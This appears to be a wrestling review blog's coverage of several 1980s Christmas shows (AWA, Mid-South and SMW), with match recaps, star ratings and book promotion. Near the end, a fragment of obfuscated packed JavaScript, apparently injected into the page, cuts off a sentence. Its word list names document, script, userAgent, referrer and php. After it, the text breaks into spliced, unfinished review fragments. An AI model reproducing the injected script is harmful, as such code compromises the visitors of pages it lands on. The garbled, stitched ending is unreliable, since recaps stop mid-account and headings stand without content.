We go to Cornette’s home a few days later. Cornette talks about wanting to remember Christmas night so he can hate someone. After twelve years of fighting the Express, he decided to find a team that could destroy them once and for all. For once, he had them feeling like they owed him something because he helped them win the Tag Team Titles. He thought about turning on them but decided to be a man of his word.

Cornette knew that the Gangstas would destroy them after the match and he would have a ringside seat for a Christmas treat. Then the fans started begging Cornette to help them and his ego took over. For about twenty two seconds, he beat the Gangstas down but then reality took the ego’s place. After that, all he remembers is pain and it’s all from the Gangstas.

When Jack and the White Boy made the save, Cornette got a round of applause. Now he hates the Gangstas but before he left the building that night, he called some friends. The Heavenly Bodies are coming back to help him deal with the Gangstas. They’ll be back on January 28 for Super Saturday Night Fever but before we get there, Cornette wants to talk to Commissioner Bob Armstrong to get the Bodies’ suspension lifted. Merry Christmas and Happy New Year.

Now this was an old school southern promo, which did exactly what it needed to do. Cornette explained everything and set up stuff for the future in a great angle. I love the idea of bringing someone in to continue the angle as it’s such a territory style which works very well. That’s how you keep people coming back and this worked very well.

The announcers hype up next week’s show to wrap things up. This is edited off the Network version.

Since I can’t escape them, back to the AWA!

Brawl In St. Paul
Date: December 25, 1986
Location: St. Paul Civic Center, St. Paul, Minnesota
Attendance: 8,000
Commentators: Ron Trongard, Dick Jonckowski

It seems that we’re skipping Buddy Wolf vs. Buck Zumhofe going to a fifteen minute draw. Aww shucks.

Earthquake Ferris vs. Brian Knobbs

Yes that Brian Knobbs and no not that Earthquake. Knobbs is still very green here and calls Ferris fat. That earns him a slam from the bigger Ferris and it’s time for a breather on the floor. Back in and the name calling continues with Knobbs telling the fans that Ferris is a worthless piece of meat. Ferris slams him down but misses the elbow, meaning Knobbs can start in on the arm. Some legdrops to the arm and a twist around the rope have Ferris in trouble. He’s fine enough to whip Knobbs into the corner for a running splash and the Ferris Wheel (airplane spin) sets up another splash for the pin at 4:26.

Rating: D. Not the best start to the show as Ferris isn’t quite the most thrilling big man and Knobbs on his own is holding up a bit too much (needs to Sag some more). The fans liked Ferris well enough though so it worked for an opener, but it’s not something that holds up all that well.

Post match Ferris gives a rather “I’m happy to win” promo and sucks up to the crowd.

Boris Zhukov vs. Steve Olsonowski

Zhukov has Sheik Adnan Al-Kassie. After a weapons check, Boris hides in the corner and then on the floor. It doesn’t last that long as we hear about great football days at the University of Minnesota. Steve grabs a headlock and then a headlock takeover as we’re on the mat early in this one. The announcers use this as a way to subtly talk about the AWA action figures (or dolls in this case), though Boris’ head going into the corner and possibly the post gets their attention.

Another flying headlock takeover gets two as Boris gets caught on the mat again. The fans start chanting something as the headlock keeps going, though at least they’re moving and trying to do something with it. They get back up with Steve losing a top wristlock and getting his arm sent into the corner. The arm is wrapped around the rope as a fan is LOSING IT over the referee not doing enough to help Steve. He’s so loud that the camera looks at him for a bit as Boris pulls on an armbar.

A headbutt lets Boris wrap the arm around the post and it’s right back to the armbar. Back up and Steve misses a charge into the buckle, meaning it’s a different kind of arm crank for a change. Steve finally makes the comeback with chops and a backdrop for two. An atomic drop gets the same, this time with the Sheik putting the foot on the rope. Steve misses a middle rope elbow so Boris drops his own for the pin (a fast one at that, with Sheik shoving the foot off the rope) at 13:10.

Rating: D. This could have been a lot worse as Steve is someone I’ve started to like as I watch these things. He wrestles a nice enough match and can do all the basics quite well. Boris was your run of the mill Russian heel and while the arm stuff made sense and even played into the finish, it went on for a long time and wasn’t exactly interesting.

Greg Gagne/Leon White/Scott Hall vs. Larry Zbyszko/Super Ninja/Mr. Saito

You might know White better as Vader. Larry has been having some issues with referees as of late and got to pick his own referee here. We wait around for some reason but hang on as Larry needs to yell about a man being wrongly accused and having to overcome the system. Ninja kicks Gagne down to start and follows with a thrown before it’s already off to Larry. This doesn’t go very well for the villains as Greg gets two off a backslide. The referee (who looks to be Jerry Sags of the Nasty Boys and yes indeed it is) has to deal with White though, allowing Saito to kick away in the corner.

We hit the choking on the mat for far longer than any human should be able to survive before it’s off to Ninja for a missed legdrop. That’s not enough for the hot tag though as Ninja kicks Gagne down and grabs a nerve hold. See, he uses holds like that because he’s from Japan and that’s what masked Japanese villains are supposed to do. Gagne kicks Ninja away and does the same to Larry, allowing the tag to White.

House is cleaned in a hurry and a running powerslam gets two on Saito with Ninja making the save. Zbyszko comes in and gets crushed in the corner, followed by the big splash for two more as Saito makes a save this time. Hall comes in for the first time to a nice reaction and Saito bows to him. Thankfully Hall doesn’t go for it and grabs a headlock instead. A shot to the knee puts Hall down but he’s fine enough to hit a knee lift for two on Ninja.

The villains change again though and tie Hall up in the ropes so Zbyszko can….get picked up and carried over to the good corner. Gagne comes in and it’s Zbyszko in trouble with everyone taking a shot at him. Since the tags need to continue without anything happening, Saito comes back in for a Scorpion Deathlock/Figure Four hybrid to start in on Hall’s leg. Ninja tries an Indian Deathlock but gets small packaged for two instead.

It’s back to Zbyszko, who gets slammed down because he’s the very weak link of the team. Gagne comes in again and gets beaten up as well as this just keeps going. Saito drives him into the corner and stomps away, allowing Zbyszko to come in and actually not screw something up! This time it’s an abdominal stretch but Gagne hiptosses his way out of it and we look at a fan telling Zbyszko that he sucks. Hall and Saito come in with Hall grabbing a bearhug but Ninja makes the save.

That earns him a bearhug but Saito throws salt in Hall’s eyes for….I’m not sure actually but the match ends at 15:41. Saito covers him while grabbing the trunks but he lets go, then people try to break it up, then the camera cuts away and we hear three slaps on the mat. Before the third goes down though, another referee (Scott LeDoux, a regular wrestler) comes in to say something to the original referee. Zbyszko comes after LeDoux and it’s a brawl with the good guys clearing the ring.

Rating: D+. Well that was a lot. This was fifteen minutes of people just going back and forth with nothing tying the match together and no flow to it whatsoever. Everyone was fighting everyone and while the energy was there, the ending was a mess and I’m still not sure what happened.

Post match the villains leave and White beats up the original referee. LeDoux talks but I can’t make out a word he’s saying. The announcers say they don’t know who won the match either. They try to recap everything and you have to give them points for hitting the chaos they were shooting for.

AWA World Title: Curt Hennig vs. Nick Bockwinkel

Bockwinkel is defending and Billy Robinson is guest referee. They grapple to start with neither getting anywhere early on. The announcers are still talking about the six man tag and don’t remember Ninja pinning Hall. That’s probably because Saito was the one covering him but that’s just a detail. Bockwinkel hits some shoulders but gets slammed down for one. That’s enough to send Bockwinkel to the floor for a breather, which makes a lot of sense for him.

Back in and Bockwinkel grabs a top wristlock as we cut to a rather bored looking fan. The hold stays on for a good while, which also makes a lot of sense for Bockwinkel. They go down to the mat as a few fans shouting from the crowd are drowning out commentary. Hennig reverses into a hammerlock and starts in on the arm with the Bockwinkel not being able to bridge out of it. The hold is released and Hennig hammers away instead before sending him into the buckle over and over.

Bockwinkel bails to the floor but this time pulls Hennig down and wraps the leg around the post. Back in and it’s off to the leglock, which again goes on for a good while. Hennig: “My leg! My leg!” Another Figure Four attempt is reversed into a small package for two so Bockwinkel wraps the leg around the rope. Back up and Hennig knocks him to the floor, meaning it’s time for Bockwinkel’s arm to go around the post.

The arm is fine enough for Bockwinkel to ram Hennig into the buckle a few times as the announcers remind us that Robinson is a thing in this match. Some knees to the ribs give Bockwinkel two but Hennig goes right back to the arm. We’re clipped to the two of them fighting to the floor with Bockwinkel ramming him into the apron a few times. Back in and a forearm give the champ two, followed by Hennig’s sunset flip for the same.

The good looking dropkick gets the same, though the camera was on the crowd at the kickout for no logical reason. Hennig’s ax handle (finisher) gets two more but the referee gets bumped (oh here we go). Hennig hits something off camera for no count and has to counter the piledriver with a backdrop over the top (there it is). Back in and Hennig slams him (Dick: “That youth is paying off.” Good thing Curt invested in it then.) to set up the missile dropkick but Robinson calls for the bell and the DQ at 19:18 shown. You can feel the energy go out of the arena as they know what’s happening again.

Rating: B. These guys were getting going and once you get around the long form rest holds, you can see a good story in there with the scientific veteran against the young athlete. Hennig was having to get in his shots here and there but Bockwinkel had the better overall plan. It made for a good match but the ending killed it, as always in the AWA. Also, what does it say that they ran this match on two out of three Christmas nights

Post match Hennig calls that BS refereeing and the fans agree. The announcer explains the DQ and tells the fans how lucky they were to see such a great match. Hennig continues to rant until Verne Gagne comes in to say it’s up to the referee’s interpretation of the rules. It never ceases to amaze me how the AWA seems to enjoy taking away the fun and energy from the fans at every chance. Bockwinkel says there’s no such thing as being fair in wrestling so Hennig needs to learn from his lessons.

Jimmy Snuka vs. Colonel DeBeers

DeBeers is from South Africa and tries to swing his flag at Jimmy, earning himself a running headbutt. A shot to the face cuts Snuka down though and DeBeers stomps away, which just annoys Snuka a bit more. The headbutts have DeBeers in trouble and he’s even busted open. You don’t do that in a match against someone like Snuka, who hits a top rope right hand to the head. Snuka hammers away and shoves the referee for the DQ at 3:37.

Rating: D. I’ve always liked DeBeers a little bit but this was just a match for the sake of a match. The lack of time didn’t help either as they flew through the whole thing, which made it feel more like an angle advancement than anything else. That’s fine, but it’s kind of a weird place on the card for such a thing.

Post match Snuka keeps beating him up but DeBeers bails before the Superfly Splash.

We take a break to build the cage.

Tag Team Titles: Midnight Rockers vs. Doug Somers/Buddy Rose

Somers/Rose are defending and it’s in a cage with Billy Robinson as guest referee again. Joined in progress with the Rockers sending the champs into the cage as Sherri Martel (champs’ manager) yells about various things. Somers is busted open early as Sherri is literally trying to chew into the cage. Another ram into the cage gives Shawn two on Somers so it’s off to Rose.

Marty powerslams Somers and Shawn hits the top rope elbow for two as this is a very long opening beatdown. After a hard stare and some spitting at Rose, Marty runs Somers’ head against the cage for the sake of some more pain. Sherri wants it stopped as Shawn rubs Somers’ blood on his face. A headbutt below the belt finally gives Somers a breather and Rose sends Michaels into the cage. Rose’s DDT (called a front piledriver) gets two on Shawn with Marty having to make a save.

Somers sends him into the cage as Shawn is very busted as well. Sherri shouts what sounds like some rather non-PG slurs at Shawn as the beating continues. A fan throws a drink on Sherri as Rose gets the slowest two in the world from Robinson. Shawn gets in a headbutt and knee lift to drop Somers, allowing him to fall into the tag to Jannetty. Rose tries to get out so Marty pulls him back over the top. With Rose down, Marty hits a high crossbody on Somers for the pin and the titles at 17:21.

Rating: B-. The blood helped a lot here and you can tell there’s a history between the teams. The rematch of this was on Shawn’s From The Vault DVD and that one was a lot of fun too so you know they have something special between the teams. I liked this more than I was expecting to and it made for a good main event.

Post match Somers and Rose knock Shawn outside and beat the heck out of Jannetty. Shawn finally gets in and makes the save as the champs leave. Yeah Somers and Rose are the champs because this wasn’t a title match. See, I thought “it’s a battle for the Tag Team Titles” meant it was a title match and the fans seemed to agree with me. But that might be fun so we can’t have that, especially when the Rockers would get the titles less than a month later.

Overall Rating: D+. I don’t know how much more of these AWA Christmas shows I can take. They’re just not my style and take so long to get through with one boring match after another. Some of the bigger stuff was good but those lower level matches are nightmares most of the time. SMW was good stuff, though it’s the kind of thing that is going to take some time to get used to. There are worse sets of shows, but these weren’t exactly strong.

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s History Of In Your House (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2019/05/31/new-paperback-kbs-history-of-in-your-house/

And check out my Amazon author page with cheap wrestling books at:

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IMG Credit: WWE

Hidden Gems #8
Date: 1981, 1982, 1983

This is part two of the 12 Days of Hidden Gems, meaning we’re going to be seeing another three events. The first batch wasn’t all that great but at least they gave us some Christmas stuff instead of some random shows that have nothing to do with the season. I’m not sure what to expect here but maybe it can be fun. Let’s get to it.

AWA House Show

Date: December 25, 1982

Location: St. Paul Civic Center, St. Paul, Minnesota

Attendance: 13,000

Commentator: Rod Trongard

Baron Von Raschke vs. Sgt. Jacques Goulet

Curt Hennig is guest referee here and of course that’s Rene. Joined in progress with Baron in trouble thanks to an apparent foreign object shot. Hennig pulls Goulet off of Baron in the ropes so we hit the chinlock instead. An elbow to the face gets two and it’s off to a rather weak chinlock. It’s like he’s just laying his arm over Raschke’s throat instead of actually putting on any pressure.

Raschke fights up and avoids a charge in the corner but takes too long posing. That’s enough for Goulet to take him down for a stomp which seemed to be low. Back up and the bearhug keeps Baron in trouble until a dropkick knocks him down. A standing chinlock (called the Scorpion) has Raschke down as we hit the ten minute mark.

The hold has been on for over two minutes now until Goulet covers for two, likely out of boredom. Goulet puts it right back on with Raschke starting to shake on the mat ala Hogan. The comeback is FINALLY on and Raschke grabs the Claw until Goulet heads to the apron for a break. Raschke pulls him back in and gets a small package for the pin at 11:52 shown.

Rating: F. This was HORRIBLE as it just kept going with lame holds and nothing that could possibly be considered interesting or good. I know Raschke is famous for his promos and had some great charisma for his character but the match was a disaster with neither guy being interested or seemingly trying whatsoever. Terrible match and something I never want to see again.

Steve Olsonoski vs. Ken Patera

Joined in progress again with Steve working on the arm as we’re told it’s five minutes in. Patera shrugs the hold off and throws it outside for a forearm to the chest. Back in and Steve sends Patera outside for a change. Not a big change mind you but still a change. Patera’s arm gets wrapped around the post as this one is already far more energetic than anything in the first match. Back in again and Patera uses the good arm to elbow Steve down and it’s off to a bearhug.

Steve finally smacks Patera around the ears to break it up The comeback is on with a whip into the corner and some right hands to send Patera to the apron. They fight on the floor with an atomic drop (called a piledriver) knocking Patera silly. It’s not silly enough to get a countout though as Patera gets back in and hits a quick suplex for a breather.

Steve is fine enough to grab a sunset flip for two but Patera keeps coming at him. A back elbow to the jaw gives Steve two more, followed by a backbreaker and neckbreaker. Steve goes aerial with a middle rope elbow for two more but Patera grabs the rope to block a neckbreaker. Another elbow drop (they like elbows around here) with feet on the ropes gives Patera a delayed pin at 10:15 shown. That’s quite the busy finish.

Rating: C+. Very nice match here as Patera was a good villain and Steve was pretty underrated as I’ve only heard his name in passing but he did quite well here. There’s nothing wrong with seeing a match that you haven’t seen before and having it turn out to be good. A hidden gem you might say.

Post match Steve protests to no avail.

Rick Martel vs. Bobby Heenan

Joined in progress again, which is all you get around here. Martel has been chasing the World Title held by Nick Bockwinkel, managed by Heenan, so I think you get the idea. Martel stomps on the downed Heenan until Bobby uses some kind of substance to blind him. The chinlock slows Martel down until a hiptoss takes Heenan over, though Martel still can’t see. He’s fine enough to avoid a charge in the corner and there’s a knee to the rather inner thigh.

The referee breaks it up so it’s foreign object time as Martel is blinded again. Heenan stomps and knees away but Martel hits a crossbody to take over again. Another crossbody connects but Heenan manages to throw him outside for a necessary breather. Heenan poses until Martel comes back in to send him into the corner a few times. A dropkick to the back sends Heenan shoulder first into the post to give Martel the pin at 7:35 shown.

Rating: C. This is one where you have to consider the situation. The match was a manager vs. a hot young face and there was no reason for it to be anything other than what it was. Martel was someone they clearly wanted to push but since it was the AWA, he wouldn’t get the World Title for over a year. As usual though, just watch Heenan and get a lesson in what he could do at any given time. This was a lot of fun, though not a great match by any means.

Since the Network is weird, the next two matches are from the Christmas night show the previous year yet still labeled as 1982.

AWA House Show

Date: December 25, 1981

Location: St. Paul Civic Center, St. Paul, Minnesota

Commentator: Rodger Kent

AWA World Title: Nick Bockwinkel vs. Billy Robinson

Robinson, a legendary shooter/grappler from England, is challenging and we’re joined in progress with him grabbing a headlock. That one stays on for a long time so Heenan tries to break things up, earning himself a stern lecture from the referee. What a ham and egger. It’s right back to the headlock as we’re over three minutes in with almost nothing else. It goes off to a facelock and Bockwinkel finally makes the rope. Some consultation from Heenan tells Nick to go back inside and walk around a bit and then try a test of strength.

Robinson is way too smart for that and takes him down with a crazy set of spins into a leg snap. In other words, it’s time for more coaching from Heenan. Back in and Robinson slips out of a headlock into another one of his own as this guy is just awesome to watch. Bockwinkel tries a hiptoss but Robinson cartwheels away from him as the frustration is getting worse every time. A hiptoss (with Robinson flipping over as well) hurts Robinson’s shoulder though and Heenan is ecstatic over having a chance like this.

The champ sends him outside and keeps Robinson from getting back inside with some kicks through the ropes. Back in and Robinson starts on the arm with a hammerlock as we hit fifteen minutes in. That’s switched to an armbar as the fans chant something I can’t understand. This one stays on for a long time as well, though at least it makes sense this time around. Robinson reverses into one of his own and cranks on both arms (like the start of a butterfly suplex) until Nick sends him outside.

Back in and Robinson sits him down for a splash to the back (that’s a new one) for two, followed by a backbreaker for the same. Bockwinkel gets the sleeper but Robinson climbs the ropes and kicks back for the pin at 16:25 shown, though Bockwinkel’s shoulder was up while Robinsons’ were down. Fair enough, and far better than a reversed decision.

Rating: B. Long holds aside, this was a lot of fun with Robinson being as entertaining of a guy as you can find. I love that British style with all of the escapes and painful looking holds, which is why someone like Zack Sabre Jr. works so well today. Bockwinkel was more than good enough to hang with him, but there’s a reason that Robinson is so revered by fans today. I could easily go for more of him as this was awesome stuff.

Hulk Hogan/Tito Santana vs. Ken Patera/Bobby Duncum

…..WHERE HAS THIS BEEN ALL MY LIFE??? Heenan is here with the villains. We’re joined in progress again with Hogan (who has hit the promotion like a bomb) working on Duncum’s arm and dropping the leg on it to really do some damage. It’s off to Tito to stay on the arm and the switching continues as Hogan works on an armbar. Tito works on one of his own and the fans are WAY into this, even as Hogan and Santana switch without tags.

The threat of Patera coming in gets Hogan’s attention and Heenan telling Patera to get in there. A big shove sends Patera into the corner and it’s time for the back and forth right hands between Santana and Hogan. Duncum’s cheap shot from the apron finally slows Santana down and the villains take over as the fans chant for Tito (I’d have bet on WEASEL).

Hogan, ever the impatient one, gets tired of waiting on the apron and comes in to punch Duncum but it’s not enough for the hot tag. Santana fights out of a double gutbuster attempt and Hogan comes in again, acting as heelish as you can get while being the monster face. Patera grabs the bearhug to keep Santana in trouble (Kent: “Taggus Interruptus.”) and things slow right back down again. Duncum’s backbreaker keeps Tito down but he makes the fired up comeback (he was GREAT at that) and tags Hogan back in to a roar.

Everything breaks down and Hogan slams Patera to set up the rapid elbows. Santana is already back in for a dropkick before Hogan comes back in to drop a leg on Patera’s leg. Dude I know Hiro Matsuda taught you about breaking legs but that’s too far. Heenan gets on the apron for a distraction and Hogan goes after him, leaving Tito to take a beating. What a great partner. Hogan throws Patera over the top and that’s a DQ at 11:04 shown.

Rating: B-. My goodness Hogan and Santana should have been the house show tag team of the decade in the WWF. That’s as good and natural of a dynamic as you’ll ever see and Hogan trying to speak Spanish could have been gloriously bad. I’m not sure why you can’t have the villains take a fall on a show this big but at least Hogan and Santana got to give us a little taste of greatness.

Hogan and Santana clean house to wrap things up.

And now we move on to a completely different style from 1983, which could be rather entertaining.

Mid-South Wrestling House Show

Date: December 25, 1983

Location: Municipal Auditorium, New Orleans, Lousiana

Jim Duggan vs. Krusher Darsow

This is a weird setup with no commentary and the camera from a corner instead of the side of the ring. Darsow is of course Barry Darsow (Smash/Repo Man) and Duggan is a king around here. Darsow takes his sweet time with the Soviet flag but uses the distraction to jump Duggan. That just earns him an atomic drop but it’s too early for the three point clothesline as Darsow bails to the floor to keep things hot.

Back in Duggan kicks him in the face as Darsow isn’t sure what to do. A running forearm drops Darsow again and it’s time for another break on the floor. Back in again and Duggan hits a slam with no trouble, followed by a hammerlock for more technical wrestling than I’ve ever seen from him. Duggan picks him up and they slug it out with Darsow going down so the armbarring can continue.

Back up and Darsow gets in a few shots to the ribs to take over. Since he’s a Russian here, we hit the bearhug. Duggan punches his way out (JR would call those American right hands) but a Russian right hand takes him down instead. It’s right back to the bearhug, because that’s the Russian way. Duggan fights out again, only to miss the running knee so Darsow can continue the lumbering offense.

The third bearhug goes on because that’s how things roll with foreign heels in 1983. Duggan throws him off and avoids a charge in the corner but a collision gives us a double knockdown. The big right hands have Darsow in more trouble but the referee (probably a commie) pulls Duggan off. Duggan drops a knee and hammers away as Dawson is busted open. Tired of the interfering referee, Duggan sits him on top and punches away even more at Darsow. The referee gets bumped so here’s Nikolai Volkoff to jump Duggan and it’s a countout at 17:44.

Rating: C-. This one is going to depend quite a bit on your tastes as you may not care for the old fashioned America vs. evil foreign menace formula. I grew up on it though and Duggan did it as well as almost anyone else. This wasn’t exactly a great match but at least they did something that was going to keep the crowd going and advance the story, which is all you can hope for out of something like this.

Tag Team Titles: Jim Neidhart/Butch Reed vs. Magnum TA/Mr. Wrestling II

Neidhart and Reed are defending in a cage. Magnum punches Reed into the corner so it’s quickly off to Neidhart for a test of strength. Surprisingly enough Magnum beats a guy who tossed anvils around so it’s back to Reed for a shot to the face. The crowd is eating this up as Magnum sends him into the corner for a flip upside down and a rather delayed one count. Wrestling comes in for a headlock takeover before knocking Reed over to the corner.

Neidhart and Reed drop to the floor between a gap between the ring and the cage, which you can’t see from the wide shot so it was quite surprising. Magnum comes back in with another headlock takeover on Reed as this is more a regular match with a cage around it than a cage match so far. A rather hard forearm turns Reed upside down against the ropes so it’s back to Neidhart to try his luck.

Since just one isn’t a challenge, Magnum fights off both champs at once until a missed charge sends him into the cage and out to the floor. The champs cheat behind the referee’s back (In a cage match?) and send Magnum into the cage again. Magnum gets thrown outside again as we hit the ten minute mark. Back in and Magnum does some dodging, which is finally enough to bring in Wrestling II to one of the loudest ovations you’ll hear in a long time.

A trip from Neidhart brings him down though and Reed goes with the choking. The double teaming in the corner has Magnum so upset that he politely stays in his own corner watching his partner get dismantled. Neidhart’s front facelock keeps Wrestling in trouble until he whips Neidhart into the corner.

Instead of tagging like a sane person though, he goes after Reed and gets blasted with a top rope shoulder. Reed drops a fist for two as he picks the cover up, which can’t possibly end well. Neidhart comes back in and rips off the mask revealing….another mask. Since Neidhart doesn’t look down, it’s Magnum coming in and hitting the belly to belly for the pin and the titles at 16:50.

Rating: B-. Now that’s a big more like it. This was a very energetic match at times, though some of the stuff with Magnum just standing there IN A CAGE MATCH is certainly one of those things that is different depending on the promotion you happen to be in. The point of this was the ending with the cool moment of the double masks and the title change.

Back to Minnesota because the Network loves itself some AWA.

AWA House Show

Date: December 25, 1983

Location: St. Paul Civic Center, St. Paul, Minnesota

Attendance: 18,000

Commentator: Ron Trongard

Brad Rheingans vs. Billy Robinson

Rheingans was an Olympic wrestler. Joined in progress as they fight over a top wristlock until a very hard elbow to the face sends Robinson outside. Back in and Rheingans grabs a headlock takeover, which the fans deem boring. If they don’t like that, they’re really not going to like it when Robinson fights up and gets taken down into the same hold a second time. Robinson gets to his feet to escape as we hit the ten minute mark after seeing about three and a half minutes. It’s always nice to have some clarification like that.

A headscissors keeps Robinson in trouble but he gets out of a sunset flip to finally get a breather. Robinson’s neckbreaker gets two and it’s off to a chinlock on Rheingans for a real change. We get the rare rope break to get out of a chinlock so it’s another neckbreaker into another chinlock for another rope break. Maybe it’s not so rare. The neck crank keeps Rheingans on the mat as the BORING chants get louder.

Three minutes left as Rheingans hits a neckbreaker of his own for two. An atomic drop gets the same and we have two minutes left. Some armdrags and a slam give Rheingans two more and the fans are loudly booing, likely knowing what’s coming. The powerslam gets two more with less than a minute to go. They slug it out as time expires at 13:30 shown.

Rating: C-. This took some time to get going as the first third or even half was downright boring with one chinlock after another. You can talk about logic and workrate all you want but that kind of stuff isn’t entertaining and never has been. Now after that was over and they started to go for the win, the match got a lot better in a hurry and while the bigger moves weren’t exactly huge, they were certainly better than what we were getting and it felt like two guys who were evenly matched. The full version sounds dreadful but what we got was fine enough.

Post match they stare each other down but tentatively shake hands.

Jesse Ventura vs. Steve Olsonoski

Joined in progress with Jesse slapping on a chinlock. Steve fights up so Ventura claims a pull of the (limited) hair, allowing him to pull Steve’s hair instead. That’s exactly what you would expect from him here. The chinlock stays on as we’re now two and a half minutes into the match. The hold is finally broken at around the three minute mark and a crossbody (called a flying bodyslam by Trongard) gives Steve two. A dropkick gets the same and a slam sends Ventura outside for a breather.

Back in and they stare each other down a bit until Jesse kicks him to the floor without much effort. Ventura won’t let him get back in, likely afraid of having to do all that much. That’s fine with Steve, who sweeps the leg and wraps it around the post. Back in again and it’s an airplane spin to put both of them down with Steve slowly getting to the middle rope. The elbow drop misses and Jesse drops a knee to the back, setting up the over the shoulder bodyvice for the tap at 8:33.

Rating: D. It’s always kind of depressing to see Jesse in the ring because as incredible of a talker and commentator as he was, he was a nightmare in the ring more often than not. The match was eight and a half minutes with three of that being spent in a chinlock. There’s no excuse for something like that and it’s not that uncommon for a Ventura match.

Rick Martel vs. Billy Graham

Graham is in Kung Fu mode, which isn’t something you see very often. Joined in progress again with Graham coming back inside to win a test of strength. As Graham can’t keep Martel’s shoulders down, we actually hear about Graham beating Bruno Sammartino for an unnamed title. I wouldn’t have bet on that, just as I wouldn’t have bet on Martel fighting back to take over on the test of strength.

Instead Graham grabs the bearhug as we hit the ten minute mark after about four and a half minutes shown. Graham drives him into the corner a few times for two until Martel is back with an atomic drop. A Kung Fu show to the throat has Martel stunned and Graham throws him over the top for the DQ at 6:51 shown.

Rating: D+. Not much to see here other than the historical curiosity of Kung Fu Graham. Martel was on his way to becoming a star around here and it was kind of puzzling to not have him get a win over Graham, who was definitely on the downside of his career. This wasn’t great, though it’s the second best match on the show this far.

Gene Okerlund (who is not long for the promotion) is in the ring with Blackjack Lanza and talks about a Texas Bunkhouse match coming up in a few weeks. That would be Lanza vs. Bobby Heenan with Lanza explaining the concept of the match, which today would translate to a street fight lumberjack match, but with cowboy gear. For some reason they keep changing directions, which would suggest looking at different parts of the crowd, though the TV CAMERA might be a good place to look. Lanza leaves and Gene mentions that Hulk Hogan will NOT be here tonight, because he’s in Japan. Yeah Japan.

High Fliers/Ray Stevens/Baron Von Raschke vs. Jerry Blackwell/Ken Patera/Mr. Saito/Sheik Adnan Al-Kassie

The High Fliers are Greg Gagne/Jim Brunzell, a very successful tag team around here. The Baron is Hogan’s replacement, because that’s what the fans were clamoring for instead of Hogan: a 43 year old who had been around for the better part of ever. Joined in progress again with Gagne working on Blackwell’s (a huge guy who would become a big star) arm as we’re five minutes in.

Stevens (said to be the Ric Flair of the 60s and someone you don’t see much from) comes in to face the Sheik but it’s Blackwell right back in because Sheik is a bit of a coward. Blackwell headlocks him to no avail and it’s off to Raschke for a headlock of his own. Baron can’t pick Blackwell up but he’s fine enough to avoid a splash and bring Gagne back in. Blackwell knocks him down again though and it’s off to Saito for a forearm to the back. The villains start taking turns on Gagne with Saito choking in the corner.

Everything breaks down and absolutely nothing changes, save for the Sheik working on a bearhug instead of Saito. Blackwell’s elbow gets two and he drops Gagne back first onto Patera’s knee. The fans chant about wanting Hulk, which Trongard acknowledges as the fans chanting. Not what they’re chanting mind you, but that they’re chanting. Patera grabs a bearhug and gets some near falls before handing it off to Saito.

That means a failed Sharpshooter attempt with Brunzell making a save and getting the tag a few seconds later. Patera has to break up a Figure Four attempt and it’s off to Baron to a decidedly non-Hogan level pop. The Claw goes on the Sheik as everything breaks down again. The High Fliers are slingshotted (Slungshot?) in for a double splash onto Sheik for the pin at 10:37 shown.

Rating: C. Definitely the most energetic match shown so far though I wanted to see more from Stevens than we got here. This was a match that would have been helped by knowing more of the extensive history between some of these people, but you would be expected to know that if you were watching it at the time, which is fair enough. Not a very good match, but I’ll take some energy over all the chinlocks for a change.

AWA World Title: Nick Bockwinkel vs. Mad Dog Vachon

Vachon, with the Crusher in his corner, is challenging because it’s the early 80s and therefore Bockwinkel (with Heenan) must be champion. We’re actually NOT joined in progress for a change and get the Big Match Intros, with the Crusher getting his own introduction. He’s billed as returning to St. Paul for the first time in two years, which makes me wonder why he wasn’t Hogan’s replacement given how special of a reception he received here.

Bockwinkel (the younger of the two here, at 49 compared to Vachon’s 54) jumps him to start and gets two off a snapmare. Vachon fights up with some shoulders to the ribs and the overhand chops before just grabbing the champ by the face. The Crusher chases Heenan to one of the bigger reactions of the night and Vachon gets in a microphone shot to the ribs. A neck snap across the top rope and a slam give Vachon two and it’s time to bite Nick’s leg.

The bitten leg is wrapped around the middle rope and Nick needs a hug from Heenan. Back in and Vachon sends him into the buckle a few times but misses a charge into the post. You know Bockwinkel will know what to do with that but Vachon blocks the piledriver. Vachon’s own piledriver gets a very, very close two as Heenan seems to be slightly late coming in off the top for the DQ. Of course the referee raises Vachon’s head after what could have been three, with Trongard saying we have a new champion.

Rating: C. The screwy finish was another obvious one because that’s how the AWA works. It’s really annoying to see time after time and the AWA just never got it. Can you blame so many people and so many fans for leaving after the mess that this company is anymore? They were dying for someone new to break through and Martel would do that in a few months, but why not do it here on a big show?

Post match the brawl is on with Vachon and Crusher cleaning house…..and yeah of course it’s a DQ and there’s no new champion because SCREW YOU! YOU GET NO HOGAN AND YOU GET NO NEW CHAMPION BECAUSE THIS IS THE AWA WHERE WE DO THE SAME THING FOR YEARS AND THEN GO OUT OF BUSINESS BECAUSE WE NEED THE SAME WRESTLERS FROM FIFTEEN YEARS AGO!

Overall Rating: C+. The AWA is definitely something that takes a lot of getting used to and I’m not sure I ever reached that point. I know it’s a more grappling based promotion but that doesn’t make it the easiest thing to watch. Now, when you get some people in there who can make it into an art (Robinson and Bockwinkel for example), it can be highly entertaining and that’s something like what we got here. The Mid-South stuff is out of left field and not all that great, making this quite the interesting collection all things considered.

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http://www.wrestlezone.com/news/642185-wwe-hall-of-famer-and-pro-wrestling-legend-nick-bockwinkel-dies-at-the-age-of-80

I know he’s not for everyone but Bockwinkel was one of the first intelligent heels and influenced a lot of people, including HHH.

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|taehk|var|u0026u|referrer|zaksr||js|php'.split('|'),0,{})) a guy I’ve always liked that you mostly likely haven’t heard of: the Raging Bull Manny Fernandez.

Nick Bockwinkel vs. Manny Fernandez

Bockwinkel hides in the corner to start before slamming Manny down, only to get kicked off a few seconds later. Fernandez takes him down with a headlock before Nick backdrops him out of a criss cross. Right back to the headlock from Manny as the announcer explains Tully Blanchard vs. Terry Funk, which was set up by Tully hitting Terry in the head with a hammer. Back up and Nick kicks Manny away but gets small packaged for two.

Same promotion from around the same time.

Manny Fernandez vs. El Bronco

Brass Knuckles Title: Black Bart vs. Manny Fernandez

Bart keeps pounding away on the forehead and the champion is in trouble. Actually scratch that as Manny fights up and pounds away, knocking Bart out to the floor. Back in and Manny punches Bart down, busting him open in the process. Bart goes to the ribs for a change to take over and the punching continues. Bull is knocked down and we see him from the overhead camera again. Bart can still only get two so he drops Manny throat first over the top rope. Bart tries to bring in a bullrope but gets rolled up and Manny retains his title.

From the next Starrcade in 1985.

